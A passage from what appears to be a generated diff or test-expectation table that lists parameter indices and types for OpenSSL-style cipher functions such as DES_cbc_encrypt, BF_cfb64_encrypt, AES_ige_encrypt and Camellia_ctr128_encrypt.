*,DES_cblock *,int) | | DES_ede3_cfb_encrypt | 3 | long | +| (const unsigned char *,unsigned char *,int,long,DES_key_schedule *,DES_key_schedule *,DES_key_schedule *,DES_cblock *,int) | | DES_ede3_cfb_encrypt | 4 | DES_key_schedule * | +| (const unsigned char *,unsigned char *,int,long,DES_key_schedule *,DES_key_schedule *,DES_key_schedule *,DES_cblock *,int) | | DES_ede3_cfb_encrypt | 5 | DES_key_schedule * | +| (const unsigned char *,unsigned char *,int,long,DES_key_schedule *,DES_key_schedule *,DES_key_schedule *,DES_cblock *,int) | | DES_ede3_cfb_encrypt | 6 | DES_key_schedule * | +| (const unsigned char *,unsigned char *,int,long,DES_key_schedule *,DES_key_schedule *,DES_key_schedule *,DES_cblock *,int) | | DES_ede3_cfb_encrypt | 7 | DES_cblock * | +| (const unsigned char *,unsigned char *,int,long,DES_key_schedule *,DES_key_schedule *,DES_key_schedule *,DES_cblock *,int) | | DES_ede3_cfb_encrypt | 8 | int | +| (const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_cblock *,const_DES_cblock *,const_DES_cblock *,int) | | DES_xcbc_encrypt | 0 | const unsigned char * | +| (const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_cblock *,const_DES_cblock *,const_DES_cblock *,int) | | DES_xcbc_encrypt | 1 | unsigned char * | +| (const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_cblock *,const_DES_cblock *,const_DES_cblock *,int) | | DES_xcbc_encrypt | 2 | long | +| (const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_cblock *,const_DES_cblock *,const_DES_cblock *,int) | | DES_xcbc_encrypt | 3 | DES_key_schedule * | +| (const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_cblock *,const_DES_cblock *,const_DES_cblock *,int) | | DES_xcbc_encrypt | 4 | DES_cblock * | +| (const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_cblock *,const_DES_cblock *,const_DES_cblock *,int) | | DES_xcbc_encrypt | 5 | const_DES_cblock * | +| (const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_cblock *,const_DES_cblock *,const_DES_cblock *,int) | | DES_xcbc_encrypt | 6 | const_DES_cblock * | +| (const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_cblock *,const_DES_cblock *,const_DES_cblock *,int) | | DES_xcbc_encrypt | 7 | int | +| (const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_cblock *,int *) | | DES_ofb64_encrypt | 0 | const unsigned char * | +| (const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_cblock *,int *) | | DES_ofb64_encrypt | 1 | unsigned char * | +| (const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_cblock *,int *) | | DES_ofb64_encrypt | 2 | long | +| (const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_cblock *,int *) | | DES_ofb64_encrypt | 3 | DES_key_schedule * | +| (const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_cblock *,int *) | | DES_ofb64_encrypt | 4 | DES_cblock * | +| (const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_cblock *,int *) | | DES_ofb64_encrypt | 5 | int * | +| (const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_cblock *,int *,int) | | DES_cfb64_encrypt | 0 | const unsigned char * | +| (const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_cblock *,int *,int) | | DES_cfb64_encrypt | 1 | unsigned char * | +| (const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_cblock *,int *,int) | | DES_cfb64_encrypt | 2 | long | +| (const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_cblock *,int *,int) | | DES_cfb64_encrypt | 3 | DES_key_schedule * | +| (const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_cblock *,int *,int) | | DES_cfb64_encrypt | 4 | DES_cblock * | +| (const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_cblock *,int *,int) | | DES_cfb64_encrypt | 5 | int * | +| (const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_cblock *,int *,int) | | DES_cfb64_encrypt | 6 | int | +| (const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_cblock *,int) | | DES_cbc_encrypt | 0 | const unsigned char * | +| (const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_cblock *,int) | | DES_cbc_encrypt | 1 | unsigned char * | +| (const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_cblock *,int) | | DES_cbc_encrypt | 2 | long | +| (const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_cblock *,int) | | DES_cbc_encrypt | 3 | DES_key_schedule * | +| (const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_cblock *,int) | | DES_cbc_encrypt | 4 | DES_cblock * | +| (const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_cblock *,int) | | DES_cbc_encrypt | 5 | int | +| (const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_cblock *,int) | | DES_ncbc_encrypt | 0 | const unsigned char * | +| (const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_cblock *,int) | | DES_ncbc_encrypt | 1 | unsigned char * | +| (const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_cblock *,int) | | DES_ncbc_encrypt | 2 | long | +| (const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_cblock *,int) | | DES_ncbc_encrypt | 3 | DES_key_schedule * | +| (const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_cblock *,int) | | DES_ncbc_encrypt | 4 | DES_cblock * | +| (const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_cblock *,int) | | DES_ncbc_encrypt | 5 | int | +| (const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_key_schedule *,DES_key_schedule *,DES_cblock *,int *) | | DES_ede3_ofb64_encrypt | 0 | const unsigned char * | +| (const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_key_schedule *,DES_key_schedule *,DES_cblock *,int *) | | DES_ede3_ofb64_encrypt | 1 | unsigned char * | +| (const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_key_schedule *,DES_key_schedule *,DES_cblock *,int *) | | DES_ede3_ofb64_encrypt | 2 | long | +| (const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_key_schedule *,DES_key_schedule *,DES_cblock *,int *) | | DES_ede3_ofb64_encrypt | 3 | DES_key_schedule * | +| (const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_key_schedule *,DES_key_schedule *,DES_cblock *,int *) | | DES_ede3_ofb64_encrypt | 4 | DES_key_schedule * | +| (const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_key_schedule *,DES_key_schedule *,DES_cblock *,int *) | | DES_ede3_ofb64_encrypt | 5 | DES_key_schedule * | +| (const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_key_schedule *,DES_key_schedule *,DES_cblock *,int *) | | DES_ede3_ofb64_encrypt | 6 | DES_cblock * | +| (const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_key_schedule *,DES_key_schedule *,DES_cblock *,int *) | | DES_ede3_ofb64_encrypt | 7 | int * | +| (const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_key_schedule *,DES_key_schedule *,DES_cblock *,int *,int) | | DES_ede3_cfb64_encrypt | 0 | const unsigned char * | +| (const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_key_schedule *,DES_key_schedule *,DES_cblock *,int *,int) | | DES_ede3_cfb64_encrypt | 1 | unsigned char * | +| (const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_key_schedule *,DES_key_schedule *,DES_cblock *,int *,int) | | DES_ede3_cfb64_encrypt | 2 | long | +| (const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_key_schedule *,DES_key_schedule *,DES_cblock *,int *,int) | | DES_ede3_cfb64_encrypt | 3 | DES_key_schedule * | +| (const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_key_schedule *,DES_key_schedule *,DES_cblock *,int *,int) | | DES_ede3_cfb64_encrypt | 4 | DES_key_schedule * | +| (const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_key_schedule *,DES_key_schedule *,DES_cblock *,int *,int) | | DES_ede3_cfb64_encrypt | 5 | DES_key_schedule * | +| (const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_key_schedule *,DES_key_schedule *,DES_cblock *,int *,int) | | DES_ede3_cfb64_encrypt | 6 | DES_cblock * | +| (const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_key_schedule *,DES_key_schedule *,DES_cblock *,int *,int) | | DES_ede3_cfb64_encrypt | 7 | int * | +| (const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_key_schedule *,DES_key_schedule *,DES_cblock *,int *,int) | | DES_ede3_cfb64_encrypt | 8 | int | +| (const unsigned char *,unsigned char *,long,IDEA_KEY_SCHEDULE *,unsigned char *,int *) | | IDEA_ofb64_encrypt | 0 | const unsigned char * | +| (const unsigned char *,unsigned char *,long,IDEA_KEY_SCHEDULE *,unsigned char *,int *) | | IDEA_ofb64_encrypt | 1 | unsigned char * | +| (const unsigned char *,unsigned char *,long,IDEA_KEY_SCHEDULE *,unsigned char *,int *) | | IDEA_ofb64_encrypt | 2 | long | +| (const unsigned char *,unsigned char *,long,IDEA_KEY_SCHEDULE *,unsigned char *,int *) | | IDEA_ofb64_encrypt | 3 | IDEA_KEY_SCHEDULE * | +| (const unsigned char *,unsigned char *,long,IDEA_KEY_SCHEDULE *,unsigned char *,int *) | | IDEA_ofb64_encrypt | 4 | unsigned char * | +| (const unsigned char *,unsigned char *,long,IDEA_KEY_SCHEDULE *,unsigned char *,int *) | | IDEA_ofb64_encrypt | 5 | int * | +| (const unsigned char *,unsigned char *,long,IDEA_KEY_SCHEDULE *,unsigned char *,int *,int) | | IDEA_cfb64_encrypt | 0 | const unsigned char * | +| (const unsigned char *,unsigned char *,long,IDEA_KEY_SCHEDULE *,unsigned char *,int *,int) | | IDEA_cfb64_encrypt | 1 | unsigned char * | +| (const unsigned char *,unsigned char *,long,IDEA_KEY_SCHEDULE *,unsigned char *,int *,int) | | IDEA_cfb64_encrypt | 2 | long | +| (const unsigned char *,unsigned char *,long,IDEA_KEY_SCHEDULE *,unsigned char *,int *,int) | | IDEA_cfb64_encrypt | 3 | IDEA_KEY_SCHEDULE * | +| (const unsigned char *,unsigned char *,long,IDEA_KEY_SCHEDULE *,unsigned char *,int *,int) | | IDEA_cfb64_encrypt | 4 | unsigned char * | +| (const unsigned char *,unsigned char *,long,IDEA_KEY_SCHEDULE *,unsigned char *,int *,int) | | IDEA_cfb64_encrypt | 5 | int * | +| (const unsigned char *,unsigned char *,long,IDEA_KEY_SCHEDULE *,unsigned char *,int *,int) | | IDEA_cfb64_encrypt | 6 | int | +| (const unsigned char *,unsigned char *,long,IDEA_KEY_SCHEDULE *,unsigned char *,int) | | IDEA_cbc_encrypt | 0 | const unsigned char * | +| (const unsigned char *,unsigned char *,long,IDEA_KEY_SCHEDULE *,unsigned char *,int) | | IDEA_cbc_encrypt | 1 | unsigned char * | +| (const unsigned char *,unsigned char *,long,IDEA_KEY_SCHEDULE *,unsigned char *,int) | | IDEA_cbc_encrypt | 2 | long | +| (const unsigned char *,unsigned char *,long,IDEA_KEY_SCHEDULE *,unsigned char *,int) | | IDEA_cbc_encrypt | 3 | IDEA_KEY_SCHEDULE * | +| (const unsigned char *,unsigned char *,long,IDEA_KEY_SCHEDULE *,unsigned char *,int) | | IDEA_cbc_encrypt | 4 | unsigned char * | +| (const unsigned char *,unsigned char *,long,IDEA_KEY_SCHEDULE *,unsigned char *,int) | | IDEA_cbc_encrypt | 5 | int | +| (const unsigned char *,unsigned char *,long,RC2_KEY *,unsigned char *,int *) | | RC2_ofb64_encrypt | 0 | const unsigned char * | +| (const unsigned char *,unsigned char *,long,RC2_KEY *,unsigned char *,int *) | | RC2_ofb64_encrypt | 1 | unsigned char * | +| (const unsigned char *,unsigned char *,long,RC2_KEY *,unsigned char *,int *) | | RC2_ofb64_encrypt | 2 | long | +| (const unsigned char *,unsigned char *,long,RC2_KEY *,unsigned char *,int *) | | RC2_ofb64_encrypt | 3 | RC2_KEY * | +| (const unsigned char *,unsigned char *,long,RC2_KEY *,unsigned char *,int *) | | RC2_ofb64_encrypt | 4 | unsigned char * | +| (const unsigned char *,unsigned char *,long,RC2_KEY *,unsigned char *,int *) | | RC2_ofb64_encrypt | 5 | int * | +| (const unsigned char *,unsigned char *,long,RC2_KEY *,unsigned char *,int *,int) | | RC2_cfb64_encrypt | 0 | const unsigned char * | +| (const unsigned char *,unsigned char *,long,RC2_KEY *,unsigned char *,int *,int) | | RC2_cfb64_encrypt | 1 | unsigned char * | +| (const unsigned char *,unsigned char *,long,RC2_KEY *,unsigned char *,int *,int) | | RC2_cfb64_encrypt | 2 | long | +| (const unsigned char *,unsigned char *,long,RC2_KEY *,unsigned char *,int *,int) | | RC2_cfb64_encrypt | 3 | RC2_KEY * | +| (const unsigned char *,unsigned char *,long,RC2_KEY *,unsigned char *,int *,int) | | RC2_cfb64_encrypt | 4 | unsigned char * | +| (const unsigned char *,unsigned char *,long,RC2_KEY *,unsigned char *,int *,int) | | RC2_cfb64_encrypt | 5 | int * | +| (const unsigned char *,unsigned char *,long,RC2_KEY *,unsigned char *,int *,int) | | RC2_cfb64_encrypt | 6 | int | +| (const unsigned char *,unsigned char *,long,RC2_KEY *,unsigned char *,int) | | RC2_cbc_encrypt | 0 | const unsigned char * | +| (const unsigned char *,unsigned char *,long,RC2_KEY *,unsigned char *,int) | | RC2_cbc_encrypt | 1 | unsigned char * | +| (const unsigned char *,unsigned char *,long,RC2_KEY *,unsigned char *,int) | | RC2_cbc_encrypt | 2 | long | +| (const unsigned char *,unsigned char *,long,RC2_KEY *,unsigned char *,int) | | RC2_cbc_encrypt | 3 | RC2_KEY * | +| (const unsigned char *,unsigned char *,long,RC2_KEY *,unsigned char *,int) | | RC2_cbc_encrypt | 4 | unsigned char * | +| (const unsigned char *,unsigned char *,long,RC2_KEY *,unsigned char *,int) | | RC2_cbc_encrypt | 5 | int | +| (const unsigned char *,unsigned char *,long,const BF_KEY *,unsigned char *,int *) | | BF_ofb64_encrypt | 0 | const unsigned char * | +| (const unsigned char *,unsigned char *,long,const BF_KEY *,unsigned char *,int *) | | BF_ofb64_encrypt | 1 | unsigned char * | +| (const unsigned char *,unsigned char *,long,const BF_KEY *,unsigned char *,int *) | | BF_ofb64_encrypt | 2 | long | +| (const unsigned char *,unsigned char *,long,const BF_KEY *,unsigned char *,int *) | | BF_ofb64_encrypt | 3 | const BF_KEY * | +| (const unsigned char *,unsigned char *,long,const BF_KEY *,unsigned char *,int *) | | BF_ofb64_encrypt | 4 | unsigned char * | +| (const unsigned char *,unsigned char *,long,const BF_KEY *,unsigned char *,int *) | | BF_ofb64_encrypt | 5 | int * | +| (const unsigned char *,unsigned char *,long,const BF_KEY *,unsigned char *,int *,int) | | BF_cfb64_encrypt | 0 | const unsigned char * | +| (const unsigned char *,unsigned char *,long,const BF_KEY *,unsigned char *,int *,int) | | BF_cfb64_encrypt | 1 | unsigned char * | +| (const unsigned char *,unsigned char *,long,const BF_KEY *,unsigned char *,int *,int) | | BF_cfb64_encrypt | 2 | long | +| (const unsigned char *,unsigned char *,long,const BF_KEY *,unsigned char *,int *,int) | | BF_cfb64_encrypt | 3 | const BF_KEY * | +| (const unsigned char *,unsigned char *,long,const BF_KEY *,unsigned char *,int *,int) | | BF_cfb64_encrypt | 4 | unsigned char * | +| (const unsigned char *,unsigned char *,long,const BF_KEY *,unsigned char *,int *,int) | | BF_cfb64_encrypt | 5 | int * | +| (const unsigned char *,unsigned char *,long,const BF_KEY *,unsigned char *,int *,int) | | BF_cfb64_encrypt | 6 | int | +| (const unsigned char *,unsigned char *,long,const BF_KEY *,unsigned char *,int) | | BF_cbc_encrypt | 0 | const unsigned char * | +| (const unsigned char *,unsigned char *,long,const BF_KEY *,unsigned char *,int) | | BF_cbc_encrypt | 1 | unsigned char * | +| (const unsigned char *,unsigned char *,long,const BF_KEY *,unsigned char *,int) | | BF_cbc_encrypt | 2 | long | +| (const unsigned char *,unsigned char *,long,const BF_KEY *,unsigned char *,int) | | BF_cbc_encrypt | 3 | const BF_KEY * | +| (const unsigned char *,unsigned char *,long,const BF_KEY *,unsigned char *,int) | | BF_cbc_encrypt | 4 | unsigned char * | +| (const unsigned char *,unsigned char *,long,const BF_KEY *,unsigned char *,int) | | BF_cbc_encrypt | 5 | int | +| (const unsigned char *,unsigned char *,long,const CAST_KEY *,unsigned char *,int *) | | CAST_ofb64_encrypt | 0 | const unsigned char * | +| (const unsigned char *,unsigned char *,long,const CAST_KEY *,unsigned char *,int *) | | CAST_ofb64_encrypt | 1 | unsigned char * | +| (const unsigned char *,unsigned char *,long,const CAST_KEY *,unsigned char *,int *) | | CAST_ofb64_encrypt | 2 | long | +| (const unsigned char *,unsigned char *,long,const CAST_KEY *,unsigned char *,int *) | | CAST_ofb64_encrypt | 3 | const CAST_KEY * | +| (const unsigned char *,unsigned char *,long,const CAST_KEY *,unsigned char *,int *) | | CAST_ofb64_encrypt | 4 | unsigned char * | +| (const unsigned char *,unsigned char *,long,const CAST_KEY *,unsigned char *,int *) | | CAST_ofb64_encrypt | 5 | int * | +| (const unsigned char *,unsigned char *,long,const CAST_KEY *,unsigned char *,int *,int) | | CAST_cfb64_encrypt | 0 | const unsigned char * | +| (const unsigned char *,unsigned char *,long,const CAST_KEY *,unsigned char *,int *,int) | | CAST_cfb64_encrypt | 1 | unsigned char * | +| (const unsigned char *,unsigned char *,long,const CAST_KEY *,unsigned char *,int *,int) | | CAST_cfb64_encrypt | 2 | long | +| (const unsigned char *,unsigned char *,long,const CAST_KEY *,unsigned char *,int *,int) | | CAST_cfb64_encrypt | 3 | const CAST_KEY * | +| (const unsigned char *,unsigned char *,long,const CAST_KEY *,unsigned char *,int *,int) | | CAST_cfb64_encrypt | 4 | unsigned char * | +| (const unsigned char *,unsigned char *,long,const CAST_KEY *,unsigned char *,int *,int) | | CAST_cfb64_encrypt | 5 | int * | +| (const unsigned char *,unsigned char *,long,const CAST_KEY *,unsigned char *,int *,int) | | CAST_cfb64_encrypt | 6 | int | +| (const unsigned char *,unsigned char *,long,const CAST_KEY *,unsigned char *,int) | | CAST_cbc_encrypt | 0 | const unsigned char * | +| (const unsigned char *,unsigned char *,long,const CAST_KEY *,unsigned char *,int) | | CAST_cbc_encrypt | 1 | unsigned char * | +| (const unsigned char *,unsigned char *,long,const CAST_KEY *,unsigned char *,int) | | CAST_cbc_encrypt | 2 | long | +| (const unsigned char *,unsigned char *,long,const CAST_KEY *,unsigned char *,int) | | CAST_cbc_encrypt | 3 | const CAST_KEY * | +| (const unsigned char *,unsigned char *,long,const CAST_KEY *,unsigned char *,int) | | CAST_cbc_encrypt | 4 | unsigned char * | +| (const unsigned char *,unsigned char *,long,const CAST_KEY *,unsigned char *,int) | | CAST_cbc_encrypt | 5 | int | +| (const unsigned char *,unsigned char *,size_t,const AES_KEY *,const AES_KEY *,const unsigned char *,const int) | | AES_bi_ige_encrypt | 0 | const unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const AES_KEY *,const AES_KEY *,const unsigned char *,const int) | | AES_bi_ige_encrypt | 1 | unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const AES_KEY *,const AES_KEY *,const unsigned char *,const int) | | AES_bi_ige_encrypt | 2 | size_t | +| (const unsigned char *,unsigned char *,size_t,const AES_KEY *,const AES_KEY *,const unsigned char *,const int) | | AES_bi_ige_encrypt | 3 | const AES_KEY * | +| (const unsigned char *,unsigned char *,size_t,const AES_KEY *,const AES_KEY *,const unsigned char *,const int) | | AES_bi_ige_encrypt | 4 | const AES_KEY * | +| (const unsigned char *,unsigned char *,size_t,const AES_KEY *,const AES_KEY *,const unsigned char *,const int) | | AES_bi_ige_encrypt | 5 | const unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const AES_KEY *,const AES_KEY *,const unsigned char *,const int) | | AES_bi_ige_encrypt | 6 | const int | +| (const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,const int) | | AES_ige_encrypt | 0 | const unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,const int) | | AES_ige_encrypt | 1 | unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,const int) | | AES_ige_encrypt | 2 | size_t | +| (const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,const int) | | AES_ige_encrypt | 3 | const AES_KEY * | +| (const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,const int) | | AES_ige_encrypt | 4 | unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,const int) | | AES_ige_encrypt | 5 | const int | +| (const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *) | | AES_ofb128_encrypt | 0 | const unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *) | | AES_ofb128_encrypt | 1 | unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *) | | AES_ofb128_encrypt | 2 | size_t | +| (const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *) | | AES_ofb128_encrypt | 3 | const AES_KEY * | +| (const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *) | | AES_ofb128_encrypt | 4 | unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *) | | AES_ofb128_encrypt | 5 | int * | +| (const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *,const int) | | AES_cfb1_encrypt | 0 | const unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *,const int) | | AES_cfb1_encrypt | 1 | unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *,const int) | | AES_cfb1_encrypt | 2 | size_t | +| (const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *,const int) | | AES_cfb1_encrypt | 3 | const AES_KEY * | +| (const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *,const int) | | AES_cfb1_encrypt | 4 | unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *,const int) | | AES_cfb1_encrypt | 5 | int * | +| (const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *,const int) | | AES_cfb1_encrypt | 6 | const int | +| (const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *,const int) | | AES_cfb8_encrypt | 0 | const unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *,const int) | | AES_cfb8_encrypt | 1 | unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *,const int) | | AES_cfb8_encrypt | 2 | size_t | +| (const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *,const int) | | AES_cfb8_encrypt | 3 | const AES_KEY * | +| (const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *,const int) | | AES_cfb8_encrypt | 4 | unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *,const int) | | AES_cfb8_encrypt | 5 | int * | +| (const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *,const int) | | AES_cfb8_encrypt | 6 | const int | +| (const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *,const int) | | AES_cfb128_encrypt | 0 | const unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *,const int) | | AES_cfb128_encrypt | 1 | unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *,const int) | | AES_cfb128_encrypt | 2 | size_t | +| (const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *,const int) | | AES_cfb128_encrypt | 3 | const AES_KEY * | +| (const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *,const int) | | AES_cfb128_encrypt | 4 | unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *,const int) | | AES_cfb128_encrypt | 5 | int * | +| (const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *,const int) | | AES_cfb128_encrypt | 6 | const int | +| (const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *) | | Camellia_ofb128_encrypt | 0 | const unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *) | | Camellia_ofb128_encrypt | 1 | unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *) | | Camellia_ofb128_encrypt | 2 | size_t | +| (const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *) | | Camellia_ofb128_encrypt | 3 | const CAMELLIA_KEY * | +| (const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *) | | Camellia_ofb128_encrypt | 4 | unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *) | | Camellia_ofb128_encrypt | 5 | int * | +| (const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *,const int) | | Camellia_cfb1_encrypt | 0 | const unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *,const int) | | Camellia_cfb1_encrypt | 1 | unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *,const int) | | Camellia_cfb1_encrypt | 2 | size_t | +| (const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *,const int) | | Camellia_cfb1_encrypt | 3 | const CAMELLIA_KEY * | +| (const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *,const int) | | Camellia_cfb1_encrypt | 4 | unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *,const int) | | Camellia_cfb1_encrypt | 5 | int * | +| (const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *,const int) | | Camellia_cfb1_encrypt | 6 | const int | +| (const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *,const int) | | Camellia_cfb8_encrypt | 0 | const unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *,const int) | | Camellia_cfb8_encrypt | 1 | unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *,const int) | | Camellia_cfb8_encrypt | 2 | size_t | +| (const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *,const int) | | Camellia_cfb8_encrypt | 3 | const CAMELLIA_KEY * | +| (const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *,const int) | | Camellia_cfb8_encrypt | 4 | unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *,const int) | | Camellia_cfb8_encrypt | 5 | int * | +| (const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *,const int) | | Camellia_cfb8_encrypt | 6 | const int | +| (const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *,const int) | | Camellia_cfb128_encrypt | 0 | const unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *,const int) | | Camellia_cfb128_encrypt | 1 | unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *,const int) | | Camellia_cfb128_encrypt | 2 | size_t | +| (const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *,const int) | | Camellia_cfb128_encrypt | 3 | const CAMELLIA_KEY * | +| (const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *,const int) | | Camellia_cfb128_encrypt | 4 | unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *,const int) | | Camellia_cfb128_encrypt | 5 | int * | +| (const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *,const int) | | Camellia_cfb128_encrypt | 6 | const int | +| (const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char[16],unsigned char[16],unsigned int *) | | Camellia_ctr128_encrypt | 0 | const unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char[16],unsigned char[16],unsigned int *) | | Camellia_ctr128_encrypt | 1 | unsigned char * | +| (const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char[16],unsigned char[16],unsigned int *) | | Camellia_ctr128_encrypt | 2 | size_t | +| (const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char[16],unsigned char[16],unsigned int *) | | Camellia_ctr128_encrypt | 3 | const CAMELLIA_KEY * | +| (const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char[16],unsigned char[16],unsigned int *) | | Camellia_ctr128_encrypt | 4 | unsigned char[16] | +| (const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char[16],unsigned char[16],unsigned int *) | | Camellia_ctr128_encrypt | 5 | unsigned char[16] | +| (const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char[16],unsigned char[16],unsigned int *) | | Camellia_ctr128_encrypt | 6 | unsigned int * | +| (const unsigned 